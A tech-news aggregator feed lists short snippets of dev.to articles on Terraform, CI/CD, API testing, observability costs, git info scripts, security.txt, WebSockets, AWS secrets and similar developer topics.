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    News Aggregator - AI-Powered Cross-Platform Development
    This is a submission for the AI Challenge for Cross-Platform Apps - AI Acceleration I built a professional news aggregation application that demonstrates the power of AI-assisted development with Uno Platform. The app fetches and displays articles from multiple RSS feeds (New York Times, BBC News) with a beautiful Material Design 3 interface. Key Features: Dynamic news feed with 9 category filters (Technology, Business, Sports, etc.) Real-time search with 300ms debouncing Bookmark system with local persistence Full article detail view with browser integration Light/Dark theme support Responsive grid layout adapting from mobile to desktop API Used: RSS feeds from New York Times and BBC News (RSS 2.0 and Atom formats) Problem Solved: Users need a unified, elegant interface to browse news fro…  ( 10 min )
    How to Build an Apollo Style Collaborative CRM with v0 and Velt🔥
    Sales teams waste hours every day jumping between Slack, email, and their CRM just to figure out what happened with a deal. Who talked to the client last? What did they say? The context is scattered everywhere. Apollo.io solved this by making its CRM truly collaborative. Sales reps can see exactly who's working on what, leave contextual comments right on deal records, and get notified when something important happens. No more hunting for information or stepping on each other's toes. The thing is, building real-time collaboration isn't simple. You need websockets for live updates, user presence systems, comment threading, and notifications that actually work. That's where Velt comes in. It handles all the collaborative complexity so you can focus on your features. In this tutorial, you'll l…  ( 19 min )
    Terraform Basics – Week 5: Exposing Infrastructure Data with Outputs
    Table of Contents 1. Recap of Week 4 2. What Are Output Values in Terraform ? 3. Why Are They Useful and Where Do I Use Them ? 4. Adding Outputs to Our Configuration 5. Common Output Pitfalls and Tips 6. Deploy to Azure 7. Wrap-Up 1. Recap of Week 4 We created inbound security rules to control access to the VM and attached the NSG to the network interface to enforce those rules. We also used dynamic blocks to keep our configuration clean and avoid repeating ourselves when defining multiple security rules. If you missed Week 4, you can check it out the full post here. This week, we’ll shift our focus to output values and learn how to expose useful information from our Terraform deployments. For this week's .tf files, you can access them here. 2. What Are Output Values in Terraform ? Output …  ( 10 min )
    🔧 Comparative Analysis of Testing Management Tools with Real CI/CD Pipelines
    Automated testing has become a core practice in modern software development. Today, testing doesn’t just happen on a local machine—it is integrated directly into Continuous Integration (CI/CD) pipelines, ensuring every code change is validated before reaching production. In this article, we explore and compare three widely used testing management tools within CI/CD environments: GitHub Actions, GitLab CI/CD, and Jenkins. Each one includes a real-world pipeline example so you can understand how test automation works in practice. Automated test executions help teams: Prevent bugs before merging code Detect regressions quickly Standardize test execution across environments Improve software reliability and delivery speed Reduce manual testing overhead Today’s development workflows exp…  ( 7 min )
    Applying API Testing Frameworks with Postman: Real-World Code Examples
    🧪 API Testing with Postman and Newman Testing APIs has become an essential part of modern software development. Before connecting the backend with the user interface, we need to make sure every endpoint behaves as expected — returning the correct data, handling errors properly, and performing under different conditions. In this guide, we’ll explore how to apply Postman and Newman to automate API testing through a simple and realistic example. APIs are like bridges between different systems. When one part of an app sends a request, the API is responsible for sending the correct response back. If something fails here, the entire application can break. API testing ensures that: Each endpoint returns the right HTTP status code. The JSON data structure is consistent. Response times st…  ( 8 min )
    repo2
    #!/bin/bash # Ensure we're inside a git repo if ! git rev-parse --git-dir >/dev/null 2>&1; then echo "Not a git repository." exit 1 fi # Basic info TOP=$(git rev-parse --show-toplevel) REPO_NAME=$(basename "$TOP") CURRENT_BRANCH=$(git branch --show-current) REMOTE_URL=$(git remote get-url origin 2>/dev/null) # Parse Bitbucket owner + repo if [[ "$REMOTE_URL" =~ bitbucket\.org/([^/]+)/([^\.]+) ]]; then BB_OWNER="${BASH_REMATCH[1]}" BB_REPO="${BASH_REMATCH[2]}" else BB_OWNER="N/A" BB_REPO="N/A" fi # Default remote branch DEFAULT_REMOTE=$(git symbolic-ref refs/remotes/origin/HEAD 2>/dev/null | sed 's#^.*/##') # Remote branches REMOTE_BRANCHES=$(git ls-remote --heads origin 2>/dev/null | awk '{print $2}' | sed 's#refs/heads/##') # Remote tags REMOTE_TAGS=$(git ls-remote --tags origin 2>/dev/null | awk '{print $2}' | sed 's#refs/tags/##') echo "" echo "===== Git / Bitbucket Repo Info =====" echo "Local repo name: $REPO_NAME" echo "Local path: $TOP" echo "Current branch: $CURRENT_BRANCH" echo "Remote URL: $REMOTE_URL" echo "Bitbucket team: $BB_OWNER" echo "Bitbucket repo: $BB_REPO" echo "Default branch: ${DEFAULT_REMOTE:-N/A}" echo "" echo "---- Remote Branches ----" echo "$REMOTE_BRANCHES" echo "" echo "---- Remote Tags ----" echo "$REMOTE_TAGS" echo "======================================"  ( 6 min )
    Terraform Expressions — Conditional, Dynamic & Splat Expressions
    Introduction Terraform provides a powerful configuration language that allows you to build reusable, scalable, and environment-aware infrastructure. Three of the most useful features within Terraform’s expression system are conditional expressions, dynamic blocks, and splat expressions. Understanding these three concepts helps you write cleaner, more flexible code while avoiding duplication and complexity. This blog explains each expression in detail, including when to use them, when not to use them, and how they work together. Conditional expressions return one of two values depending on whether a given condition is true or false. condition ? true_value : false_value If the condition is true, the first value is returned. If the condition is false, the second value is returned. Similar …  ( 8 min )
    [Boost]
    A practical guide to observability TCO and cost reduction Zenith AI Labs ・ Dec 3 #observability #sre #clickhouse #devops  ( 6 min )
    repo
    echo "Repo: $(basename `git rev-parse --show-toplevel`)" echo "Branch: $(git branch --show-current)" echo "Remote: $(git remote get-url origin)"  ( 5 min )
    Measuring What Matters: Objective Metrics for Image Generation Assessment
    🎊 Announcement: Try our performance models for free, P-image and P-image-Edit, here. Just 1 second without compromising the quality! Generating high-quality visuals with state-of-the-art models is becoming increasingly accessible. Open-source models run on laptops, and cloud services turn text into images in seconds. These models are already reshaping industries like advertising, gaming, fashion, and science. But creating images is the easy part. Judging their quality is much harder. Human feedback is slow, expensive, biased, and often inconsistent. Plus, quality has many faces: creativity, realism, and style don’t always align. Improving one can hurt another. That’s why we need clear, objective metrics that capture quality, coherence, and originality. We’ll explore methods for evaluating…  ( 13 min )
    A practical guide to observability TCO and cost reduction
    For many engineering leaders, the observability bill has become one of the largest infrastructure expenses. OpenAI reportedly spends $170 million annually on Datadog alone. While most companies aren't operating at OpenAI's scale, teams consistently report that observability tools consume a significant portion of their total cloud spend, and the trend only goes in one direction: up. The root cause? SaaS platforms charge per gigabyte ingested, per host monitored, or per high-cardinality metric tracked. The more visibility you need, the more you pay. You're stuck choosing between understanding your systems and staying within budget. This model prevents you from being able to “send everything.” You can break this cycle by changing how you pay for observability. Instead of variable costs tied t…  ( 15 min )
    Why Composition Beats Inheritance in Large-Scale Python Systems
    When you start out learning object-oriented programming (OOP) in Python, inheritance feels like the obvious way to reuse code. You build a base class, extend it, and reuse its behavior. But as your software grows, you might start noticing that inheritance introduces tight coupling, rigid structures, and eventually... a mess. This post is about why composition is often a better choice than inheritance in large-scale Python systems, especially when you're building backend applications. We’ll start from the basics, then go into real-life backend scenarios to show how composition can help you write cleaner, more maintainable code. Inheritance means creating a new class that is a type of another class. It forms an "is-a" relationship. The child class (subclass) automatically gets the properties…  ( 9 min )
    I Got Tired of Tab-Switching for Simple Calculations, So I Built This
    As developers, we spend our days solving complex problems. But somehow, the simplest tasks still break our flow: "What's 150 EUR in USD?" → Open Google "What time is it in Tokyo right now?" → Check world clock "When is 45 days from today?" → Open calendar, count manually "What's 18% tip on $85?" → Pull out phone calculator Every tab switch is a context switch. Every context switch costs focus. I kept thinking: why can't I just type what I'm thinking and get the answer? Most calculators are built for numbers, not questions. You can't type $150 + 20% tax into a standard calculator. You have to: Type 150 Multiply by 0.20 Add the result to 150 Remember what you were doing before And for currency? Time zones? Date math? Forget it. Those need separate apps entirely. That's the idea behind Octa —…  ( 8 min )
    Update on my Kiroween project 🎃
    The breakthrough: Adding IndexedFaceSet support to parse vertices and face indices into THREE.js BufferGeometry. Kiro helped me: Debug the nested brace matching issue Build custom A-Frame geometry components Fix React re-render conflicts with A-Frame registration From "everything is a teal cube" → actual colored 3D shapes ✨ @kirodotdev  ( 6 min )
    ChatGPT Search Just Changed SEO (And Most Guides Are Already Wrong)
    Let me guess: you've already read three articles this week about "optimizing for AI search" that basically said "just write good content" and called it a day. Right up there with "be yourself" as actionable advice. Here's the thing nobody's saying clearly enough: ChatGPT Search isn't Google with a chatbot interface. The ranking factors are different. The user behavior is different. The entire game changed, and most of us are still playing by the old rules. I've spent the last six months testing what actually gets cited in AI-generated answers versus what gets buried. The results surprised me. Some traditional SEO tactics still matter. Others? Completely irrelevant. And there are entirely new factors that didn't exist in the Google playbook. ChatGPT Search hit 10 million users faster than I…  ( 11 min )
    **Technical AI in Advertisement Challenge: "Dynamic Ad Place
    Technical AI in Advertisement Challenge: "Dynamic Ad Placement with Contextual Relevance" The goal of this challenge is to design an AI system that can optimize the placement of advertisements within a dynamic, interactive, and personalized advertisement environment. Constraints: Ad Contextual Relevance: The AI system must consider the user's past browsing history, current webpage content, and real-time search queries to determine the most relevant advertisement to display. Multiple Ad Platforms: The AI system must be able to integrate with multiple ad platforms, such as Google Ads, Facebook Ads, and OpenX. User Experience: The AI system must prioritize the user's experience by avoiding repetitive or intrusive advertisements and ensuring a smooth browsing experience. Real-time Processing: …  ( 7 min )
    Using Codex & Claude Code in a Real Task: A Practical Coding Example (2026)
    A hands-on comparison with real output snippets. If you read the previous post, you already have a general view of how Codex and Claude Code differ in approach. Now it's time to put them into a real scenario, same problem, two solutions. We asked both models to solve a simple but layered task: Given a JSON list of users, return only the ones with "active": true This is what happened. ## Codex Output — Fast, Direct, Minimal Structure Codex responded quickly and generated a working implementation: import json def get_active_users(data): users = json.loads(data) active = [u for u in users if u.get("active")] result = "" for u in active: result += f"{u['name']} - {u['email']}\n" return result # Example usage data = '[{"name": "Ana","email": "ana@mail.com","activ…  ( 7 min )
    Respiration
    A slow retrospective on a season of writing, and the quiet transition now opening between fatigue, clarity, and the return to earth. Some life chapters end without a final scene. No slammed door, no staged farewell, no single sentence that closes the book. They finish the way dusk finishes: a slow dilution of light, almost unnoticed, until you realise the room has changed colour. This text is that kind of dusk. It records the suspension — not the death — of a cycle I never scheduled: three months during which writing became as involuntary as breathing, and twenty essays arrived the way dreams arrive, uninvited but insistent. Today the tide has withdrawn. To understand where it went, I have to retrace how it arrived. I came to dev.to without a plan, a metric, or a slogan. I carried onl…  ( 11 min )
    Day 10— Terraform Conditional Expressions, Dynamic Blocks and Splat Expressions
    Today marks the Day 10 of 30 Days of Terraform challenge and in this blog, we will deep dive into the Terraform Conditional Expressions, Dynamic Blocks and Splat Expressions. Terraform Expressions are something that helps us to avoid writing the code again and again. You can think this of a replacement or similar to functions in programming language. There are mainly 3 types of Expressions in Terrform such as Conditional Expressions, Dynamic Blocks and Splat Expressions Conditional Expressions as the name indicates evaluates a condition and returns one of two values based on whether the condition is true or false. Syntax condition ? true_value : false_value In the above conditional expression: ✅ Choose instance types based on environment (dev vs prod) ✅ Single configuration for multiple…  ( 10 min )
    Build a Vision AI Agent with Gemini 3 in < 3 Minutes
    Stream released support for Google's new Gemini 3 models inside Vision Agents — the open-source Python framework for building real-time voice and video AI applications. In this 3-minute video demo, you'll see how to spin up a fully functional vision-enabled voice agent that can see your screen (or webcam), reason with Gemini 3 Pro Preview, and talk back to you naturally, all in pure Python. Install Vision Agents + the new Gemini plugin Use gemini-3-pro-preview as your LLM with a single line Build a live video-call agent that can see and describe anything on your screen in real time Customize reasoning depth (low/high thinking level) Get Started in 60 Seconds 1. Create a fresh project (we recommend uv). # Initialize a new Python project uv init # Activate your environm…  ( 8 min )
    How Excel Improves Data Accuracy and Reduces Business Errors
    Introduction In today’s data-driven business environment, accurate data is the foundation of sound decision-making. For many organizations, big and small, Microsoft Excel remains one of the most widely used tools for data processing, analysis, and reporting. When properly used, Excel helps standardize data, automate calculations, and provide checks that reduce manual mistakes, playing a crucial role in improving data accuracy and minimizing costly business errors. This makes Excel not just a tool for organizing rows and columns, but a strategic asset for reliable information management. The Challenge: How Common Are Errors Without Good Practice Despite its ubiquity, Excel also has a reputation for being error-prone when misused. Recent research showed that about 94% of spreadsheets use…  ( 9 min )
    AWS launched EKS Capabilities to simplify Kubernetes with a quick on/off model. It runs Argo CD, ACK, and kro for you—no installs or upgrades. I tested it by deploying an S3 bucket using ACK + Argo CD using EKS Capabilities. Terraform Repo link inside.
    I Created S3 Buckets Using ArgoCD , ACK with EKS Capabilities—No Controllers Installed. Jatin Mehrotra for AWS Community Builders ・ Dec 1 #aws #kubernetes #eks #reinvent2025  ( 6 min )
    Does anybody know about centralized mturk hit catcher with php + Userscript?
    A post by SS  ( 6 min )
    How to get Python/Cloud/Java/DevOps/Admin job in this crazy market?
    In advance I want to say: I won't sell you a bootcamp, I won't send you to a Udemy course and I don't guarantee anything. I just want to share my story with you 🥲, as I believe many people are struggling to get "DevOps" or "Developer" job in this market. The year is 2019. I was to just graduate from a university with a Master of Engineering degree in Computer Science. With this on my resume, three years of experience at Intel (although as an intern 😅) and published apps for Android with a modest ad revenue, I went into the job hunting spree. Checkboxes: ✅ Bachelor's degree, Master's is just a formality, ✅ 3 years of experience in Big Tech, ✅ Some Python experience from the above, ✅ Java experience from Android, ✅ Some PHP websites I built in high school as "the next Facebook", ✅ Entrepre…  ( 12 min )
    AttributeError: 'int' object has no attribute 'title' in python3
    AttributeError: 'int' object has no attribute 'title' in python This error means you’re calling the string method .title on a value that is actually an int, not a str. In other words, somewhere a variable you expect to be text holds a number instead. Variable shadowing. A name you used for a string earlier was reassigned to an integer, so later obj.title tries to run on an int. For example: name = "alice"; name = 5; name.title() → error. This commonly happens when reusing names like file, time, or data for different types at different points of the code. Wrong data shape. You indexed or pulled data from a dict/list/JSON where some items are ints and others are strings, then you applied .title blindly to all items. Type assumptions. User input or parsed values were cast to int (or l…  ( 8 min )
    Advent of Code 2025 - December 3rd
    In this series, I'll share my progress with the 2025 version of Advent of Code. Check the first post for a short intro to this series. You can also follow my progress on GitHub. The puzzle of day 3 was a nice challenge. Of course, my simplistic solution for part one failed miserably when faced with the requirements of part two. Luckily, in the end I could solve both parts with a single function, which is always satisfying. My pitfall for this puzzle: Some stupid C++ mistakes. At some moment, I also began to doubt equality logic for std::pair, but a bit of debugging showed the error was in a different part of the code. #include #include #include #include #include std::vector loadInput(const std::string &filename) { std::vecto…  ( 7 min )
    Day-10: Conditional expressions, Dynamic blocks, Splat expressions in terraform
    Conditional Expressions: condition ? true_value : false_value. This is useful for setting resource attributes based on variable values or other conditions. chose instances based on the environment (dev/prod) enable monitoring based on the configurations select different AMIs based on region example: // main.tf resource "aws_instance" "instance" { ami = "ami-0fa3fe0fa7920f68e" region = "us-east-1" instance_type = var.environment == "dev" ? "t3.micro" : "t3.small" count = var.instance_count tags = var.tags } // variables.tf variable "environment" { type = string default = "dev" } Splat Expressions: resource_type.resource_name[*].attribute. This is useful for retrieving attributes from multiple instances of a resource. example: // main.tf resource "aws_instanc…  ( 7 min )
    EZ Mother Devlog #5
    Sorry for a long delay. Last month (Nov-2025) I have a flu that require many weeks to recover. I feel like this is the best productivity month I've ever done. I do this project alone and now I have a friend who will do with me. A 2D artist. Yes. Now it's a team. My project now has more promising. Changelog: Update drop rate stat config Update Mother sprite Enhance the UI stats with arrow for decreasing and increasing. Overhaul the movement mechanic. Remove joystick movement and replace with point-and-click movement. Add visual arrow for movement destination. User now can interact with items by clicking to. Block action when interacting. Have interacting time. Each item has its own interacted time. Update more interacting items: TV, Toilet, Toilet Sink, Fridge. Next planning: Overhaul the UI. Add VFX. Create more items. Have baby wonder-week. Baby AI. More challenges. Interactable item has black outline while selected item has yellow outline. https://youtube.com/shorts/VqfG5twOUGQ?feature=share  ( 6 min )
    Building a "Fortress" Kubernetes Cluster: Talos Linux, Proxmox, and Network Isolation
    How to deploy a fully HA (High Availability) cluster completely isolated from the public network, managed via a Bastion? In the Cloud Native world, ease of access is often the norm. But for critical environments or simply to have complete control over your flows, isolation is king. My objective was clear: build a Kubernetes cluster that "doesn't talk to strangers". No direct exposure to the Internet, strict control of inputs/outputs through a single gateway, and secure administration. To achieve this, I chose Talos Linux (for its immutability and security) hosted on Proxmox (with a dedicated VXLAN network). Here's how I transformed three bare VMs into a High Availability (HA) cluster behind a Bastion. Before running any commands, let's set the stage. The challenge here isn't Kubernetes, …  ( 13 min )
    Hello DEV Community! I’m Amna 👋
    I’m excited to join this community! I’m Amna, a tech learner who enjoys experimenting with AI tools, writing clean content, and building simple things that help people work smarter. Over the past few months, I’ve been exploring different AI writing and text-processing tools. I enjoy testing how they behave, how reliable they are, and how they can be improved for everyday users like students, bloggers, and developers. I also recently started working on a small project called Humanivio, where I experiment with humanizing AI-generated text. It’s been a fun learning experience and has taught me a lot about SEO, user behavior, and building helpful micro-tools. I’m here to: Share what I learn Connect with other creators Improve my skills Explore more open-source and AI-related discussions Looking forward to connecting with you all! 😊  ( 6 min )
    LAW-M: The Temporal Synchronization Architecture for Human–Vehicle–Environment Co-Processing
    Peace Thabiwa SUMMARY LAW-M is a multi-layered cognitive–mechanical theorem that defines how humans, machines, and environments exchange, predict, and synchronize time. It formalizes a truth modern engineering treats as an afterthought: every failure in high-speed systems is a failure of timing alignment, not a failure of components. In LAW-M, timing is not just a number — it’s a vector. H-Vector: Human biomechanics, cognitive delay, internalized time, sensorimotor loops V-Vector: Vehicle mechanical latency, drive-train inertia, response curves E-Vector: Environmental volatility, friction coefficients, atmospheric shifts LAW-M explains how these three timing worlds interact, fuse, drift, and misalign — and how the MindEye cognitive engine can stabilize them through patterned training, simu…  ( 134 min )
    I Built an AI-Powered TTRPG Adventure Generator (Because Generic Hallucinations Are Boring)
    I grew up reading the gripping and petrifying narratives of R.L. Stine and spending way too much time playing story-driven video games. Now that I'm older, I've gotten into the TTRPG space because it hits a certain je ne sais quoi that tickles my lizard brain. I've also found that I'm not as good at coming up with ideas for adventures as I used to be. For anyone who has ever sat behind you laptop screen and keyboard, staring into the blinking cursor, you know the struggle: you have a cool concept, like "a Cyberpunk heist in a floating city," but when you try to flesh it out, you hit a wall. Naturally, we now can turn to AI for help. But here's the problem: standard LLMs are great at hallucinating generic tropes. You ask for a "scary forest," and you get the same old "twisted trees and whis…  ( 11 min )
    Deterministic Regeneration with ASA Core v1.0
    Most AI-powered coding tools are excellent at generating code once… again. You update the spec, click "regenerate," and suddenly: Your custom logic disappears Your validation rules vanish Your test structure no longer matches Your handlers and models drift apart This is the regeneration trap. In this article, we'll break down: Why regeneration fails in traditional tools How ASA's deterministic pipeline prevents code loss The slice-based architecture that eliminates drift A real example showing safe regeneration Why determinism is essential for multi-agent AI workflows Here is the typical lifecycle developers experience with most generators: Day 1: Generate scaffolding → looks great Day 2: Implement business logic → feels great Day 3: Requirement changes → regenerate → everything is gone T…  ( 8 min )
    How to Add a security.txt File to Your Website in 5 Minutes (With a Generator)
    If you’re running a website in 2026, you probably care about security. You might have HTTPS, HSTS, CSP, maybe even a bug bounty program. But there’s a tiny text file most sites still miss: /.well-known/security.txt It’s a simple file that tells security researchers how to contact you if they find vulnerabilities on your site. In this post, I’ll explain: What security.txt is (in human words) Why it matters even if you don’t run a big security team What goes inside the file How to generate one in a couple of minutes using a browser-based tool How to deploy it on common setups (static site, Laravel/PHP, .NET/IIS, etc.) No security team required. Just you, a text file, and a few minutes. security.txt? security.txt is a proposed standard (RFC 9116) for publishing security contact information …  ( 11 min )
    Building Mirmer AI: How Kiro Transformed Solo Development into AI-Powered Collaboration
    Building a production-ready multi-LLM platform in weeks, not months When I set out to build Mirmer AI, I had an ambitious vision: resurrect the 400-year-old peer review process that built modern science, and run it at machine speed with AI models. The concept was simple but the execution was complex: Stage 1: Multiple AI models respond independently Stage 2: Models anonymously peer-review each other's responses Stage 3: A chairman model synthesizes consensus But here's the reality check: I'm a solo developer. Building this meant: FastAPI backend with async orchestration React frontend with real-time streaming PostgreSQL database with dual-mode storage Python SDK with sync/async clients CLI tool with browser-based authentication Payment integration with Razorpay Firebase authentication Dep…  ( 12 min )
    Code, Customers & Conversion: Deconstructing 7 B2B SaaS Video Testimonials
    As developers and engineers, we're obsessed with building products that solve real problems. We live in a world of logic, APIs, and elegant code. So when 'marketing' comes up, it's easy to tune out the fluff. But what if we looked at marketing—specifically customer stories—as the ultimate validation of our work? A great video testimonial isn't just a sales tool; it's a narrative about a problem solved. It's the human-centric output of our technical input. It’s proof that the product works. Let's deconstruct seven examples from top SaaS companies and see what we, as builders, can learn from them. Direct User Feedback: Testimonials are a distilled form of user feedback, highlighting the 'aha!' moments and core value props that resonate most. Product Validation: They prove you're not just…  ( 9 min )
    Why n8n — The Next-Gen Automation Engine
    We know that n8n is vibe tropic at now but why n8n is considered a pioneer in business automation, how it empowers both enterprises and AI developers with flexible, cost-efficient workflow orchestration, and see a clear comparison of similar tools — ranking them by price, performance, and scalability. https://medium.com/@hasanmcse/why-n8n-the-next-gen-automation-engine-2c2e9b35bd1e?sk=0e76a8b813e588d8d4ef4a8dc1cc6fc8  ( 6 min )
    Opinion on weird system design
    I would like to ask the expert devs here. If you would prefer to use a system where you have to learn multiple ISAs, internal structure and possibly programming languages? If you had a system where multiple architectures, where each one could be a generalist or a specialist specializing in doing one thing most efficiently but each one needed to be programmed differently with each having it's own internal structure, would you use it with a team?  ( 6 min )
    Data Pipeline Tools Compared: Key Criteria to Pick the Right One
    The article was initially published on the Skyvia blog. Data’s all around us — from CRM systems and cloud apps to spreadsheets and data warehouses. But when your team’s wrangling numbers across 15+ platforms and spending more time copy-pasting than analysing, the real issue is a broken data flow. Here’s a quick breakdown of how to pick a pipeline tool in 2025, what to look for — and where a no-code alternative like Skyvia can really ease the load. A data pipeline is simply the process of moving data from one place to another, often transforming it along the way so it ends up clean, consistent and ready to use. In practice this means: grabbing data from SaaS apps, databases, APIs or spreadsheets cleaning, normalising or reshaping it (dedupe, convert, standardise) loading it into a des…  ( 9 min )
    Service Granularity: When Is a Microservice Really “Micro”?
    In the early days of microservices, “small and independent” sounded simple enough. Teams broke apart their monoliths, spun up a dozen new services, and declared victory. Then came the reality: too many services, endless integration pain, duplicated logic, and distributed complexity that nobody asked for. Somewhere along the way, the word “micro” became misunderstood. It was never about size - it was about boundaries. So, what does “micro” really mean? Let’s start with a misconception: microservices are not defined by lines of code. A microservice with 500 lines can still be too big - if it mixes domains. The essence of a microservice lies in independence: It can be developed and deployed independently It owns its data It exposes clear contracts It doesn’t need other …  ( 8 min )
    🕒 Contest Clocker – Never Miss a Coding Contest Again 🚀
    Are you into competitive programming? Tired of missing contests across Codeforces, LeetCode, and CodeChef? Contest Clocker is a free, lightweight Chrome Extension that helps you stay on top of upcoming contests with smart reminders, calendar integration, and powerful filtering — all in one click. 🔗 Install from Chrome Web Store 🌐 Website As a developer who regularly participates in contests and interview prep, I found myself constantly switching between platforms and forgetting start times. That’s when I built Contest Clocker – a zero-friction solution to get notified, filter contests, and sync them to your Google Calendar. ✅ Multi-Platform Support: Codeforces, CodeChef, LeetCode (more coming!) 🔔 Smart Notifications: 15 min / 1 hour / 1 day before contest 📅 Add to Calendar: 1-click …  ( 7 min )
    Stormkit v1.25.0 is out 🚀 New feature: User sign-up management. Admins can now enable/disable new sign-ups or set approval mode to moderate registrations. Read more: https://www.stormkit.io/docs/self-hosting/managing-users
    Self-Hosting with Stormkit: User Management" - Stormkit Learn how to manage user access to your self-hosted Stormkit instance. Configure sign-up modes, whitelist domains, and approve or reject user registrations. stormkit.io  ( 6 min )
    I created GoalHappy, the simplest task manager for developers
    As a developer, I frequently need to quickly track a list of tasks, and most of the time, I don't need the full-featured project management capabilities of solutions like Basecamp, Notion, Todoist, and others. I tried almost every tool, from Apple Reminders to Basecamp, but I either failed to manage my tasks properly or the features and complexity of the bigger tools overwhelmed me. To solve this, I created GoalHappy, a simple task manager app. Features No login required, start managing your tasks right away If you need cloud sync, create a free account and get 50 tasks synced for free PWA - Use cross-device (offline), and get your tasks synced when online If you need to manage a lot of tasks and lists, and also want to share the lists for collaborative work, the paid version is just $2 per month or $18 per year I believe that, as a developer, you will love GoalHappy. Everyone reading this post can use the coupon code DEVFRIENDS to get 100% off the pro version of GoalHappy for 1 year. The coupon code is valid for a limited time. Looking forward to constructive feedback from fellow developers.  ( 6 min )
    Is SQL Injection dead in 2025? Finding Critical Bugs in Item Pagination
    Introduction Many developers believe that in 2025, we are too advanced to see simple SQL Injection vulnerabilities anymore. Well, while browsing the functionalities of a well-known TF2 trading site, I discovered that old habits die hard. How did I find the bug? On the Item page there is a navigation feature allowing users to jump to a specific page of listings. Pressing the "..." button triggers a pop-up where you can manually input the page number. Naturally I wondered "Does it trust my input?". Instead of a number, I inputted the character "e". The application didn't handle it gracefully, instead of a generic 404 or soft error the site threw a Fatal Error exposing massive amount of sensitive information. What did we get here? Database Error Code: "SQLSTATE[42000]" Database Type Logic…  ( 7 min )
    How I Finally Fixed My .gitignore (and Ended Up Writing an Extension)
    I thought my .gitignore files were fine. Most of us probably do. You drop in a template, add a couple of custom patterns and believe everything is fine. Except it often is not. Typos slip in. Old entries linger. Some lines silently match nothing at all. Others match far more than you expect. I only realised this when I accidentally uploaded a file that should never have been in the repo. Unpicking it from multiple commits was a nightmare and it sent me down a rabbit hole. To understand what was going on, I needed a quick way to see which patterns were actually matching something in my workspace. The real numbers. Which is how IgnoreLens was born. IgnoreLens gives you a live insight into your .ignore files. It shows: how many files each ignore line matches which patterns match zero files places where you may have typos or dead entries It simply shines a light on the reality of your ignore rules so you can tidy them up with confidence. Marketplace: https://marketplace.visualstudio.com/items?itemName=ignore-lens.ignore-lens OpenVSX: https://open-vsx.org/extension/ignore-lens/ignore-lens It is my first VS Code extension, so if you have thoughts, feedback or ideas, I would love to hear them.  ( 6 min )
    Tips From 15 Newsletter Writers On How To Build Your Own
    Tips From 15 Newsletter Writers On How To Build Your Own Newsletter writers with a combined audience in the hundreds of thousands share their top tips for building a successful publication. Lenny Rachitsky and Li Jin emphasize that success starts with producing consistently valuable content that is 10x better than anything else on the topic. Alex Taussig and Leon Lin advise writers to let authenticity and personality be the soul of their writing to stand out and connect with readers. Experts recommend spending significant time crafting compelling titles and hooks to draw readers in from platforms like Twitter. 👉 Read full article  ( 6 min )
    How to Build an Unstoppable Service: The L-Security Cloud Tank Architecture
    Introduction: Why Your VPN Stops Working In the era of total network control and DPI (Deep Packet Inspection), standard solutions for ensuring availability (like OpenVPN or classic Shadowsocks) are quickly blocked. Regulators have learned to analyze traffic, even when it’s fully encrypted. In this article, we will examine the L-Security Cloud Tank architecture—a solution that makes blocking not just difficult, but economically and technically infeasible. Our approach combines protocol obfuscation with adaptive, geo-dependent Collateral Defense. The Protocol Shield: Defeating DPI The goal is simple: make the traffic indistinguishable from ordinary website browsing. Utilizing VLESS/V2Ray with WSS/TLS We use the VLESS (VLess over TCP) protocol with the WSS (WebSocket Secure) transport layer, …  ( 8 min )
    TOON vs JSON: A Reality Check — When It Saves Tokens and When It Doesn't
    There's been a wave of articles lately about TOON (Token-Oriented Object Notation), many proclaiming it saves "50% tokens" or calling JSON "outdated" for LLM applications. I've spent some time analyzing the actual numbers. The verdict? TOON is genuinely useful—but the marketing oversimplifies reality. Let me set the record straight so you can make informed decisions about when to use it. Here's the uncomfortable truth that many TOON articles gloss over: the "50% savings" figure is typically measured against formatted JSON (with pretty-printing, indentation, and whitespace). But real-world API calls and LLM prompts use minified JSON. When you compare against minified JSON - which is what you're actually sending to your LLM—the picture changes dramatically: Data Type vs Minified JSON Real…  ( 9 min )
    Real-time Communication with WebSockets using deboa-extras
    WebSockets provide a powerful way to enable real-time, bidirectional communication between clients and servers. In this article, we'll explore how to implement WebSocket clients using the deboa-extras crate, a lightweight and flexible HTTP client library for Rust. The deboa-extras crate extends the core deboa HTTP client with WebSocket capabilities, making it easy to establish WebSocket connections and exchange messages in real-time. It's built on top of the hyper library and provides an ergonomic API for WebSocket communication. First, add the necessary dependencies to your Cargo.toml: [dependencies] deboa = "0.1.0" deboa-extras = { version = "0.1.0", features = ["ws"] } tokio = { version = "1.0", features = ["full"] } To create a WebSocket connection, you'll use the WebsocketRequestBuil…  ( 8 min )
    Understanding How LCD Screens Work: Components, Light Control, and Display Technologies
    From phones and laptops to home appliances and automotive dashboards, LCD screens appear in almost every kind of modern electronic device. Although we use them daily, the way they create sharp images and vivid colors is not always obvious. This article explains the fundamentals of LCD technology—its core layers, how liquid crystals modulate light, how backlighting works, how a pixel is formed, and the different LCD panel types found in practical applications. An LCD screen is built from several functional layers arranged to control how light passes through the display. Three main components form the basis of every LCD: Backlight – the light source behind the panel Liquid crystal layer – a thin structure made of liquid crystal cells Color filters – red, green, and blue sub-pixel filters…  ( 8 min )
    Improving our frontend tracking with Avo
    Overview This article explains how we’ve revamped our product analytics frontend tracking at Super using Avo 📊. For a long time, we relied on Google Sheets to document frontend events, which led to unclear ownership, inconsistent schemas, and slow, manual QA in Segment. We’ve since moved to Avo’s Tracking Plan and Inspector, giving us a single source of truth, a proper branching and peer review process with developers, and automated validation. Accurate tracking is essential for reliable data monitoring. It helps us confirm that newly released features work as expected, identify and fix bugs, and optimise key user journeys – for example, the funnel for the Super Credit application. When tracking goes wrong, the symptoms can vary: Missing events Missing properties Typos in property valu…  ( 9 min )
    Mastering AWS Cross-Account Secrets with Terraform & KMS
    The Multi-Account Reality Check In modern cloud architecture, multi-account strategies are the norm. We separate development from production, and often centralized shared services into their own hubs. A very common scenario is having a central "Security" or "Shared Services" AWS account holding sensitive database credentials in AWS Secrets Manager, which need to be accessed by a Lambda function running in a completely different "Workload" account. It sounds simple on paper: Create the Secret in Account A. Attach a resource policy to the secret allowing Account B to read it. Give the Lambda in Account B IAM permission to read the secret. You deploy your Terraform, invoke your Lambda, and... fail. You get an AccessDeniedException or a vague KMS error. I recently ran into this exact wall. H…  ( 8 min )
    Anthropic Just Bought Bun.js. Here's why.
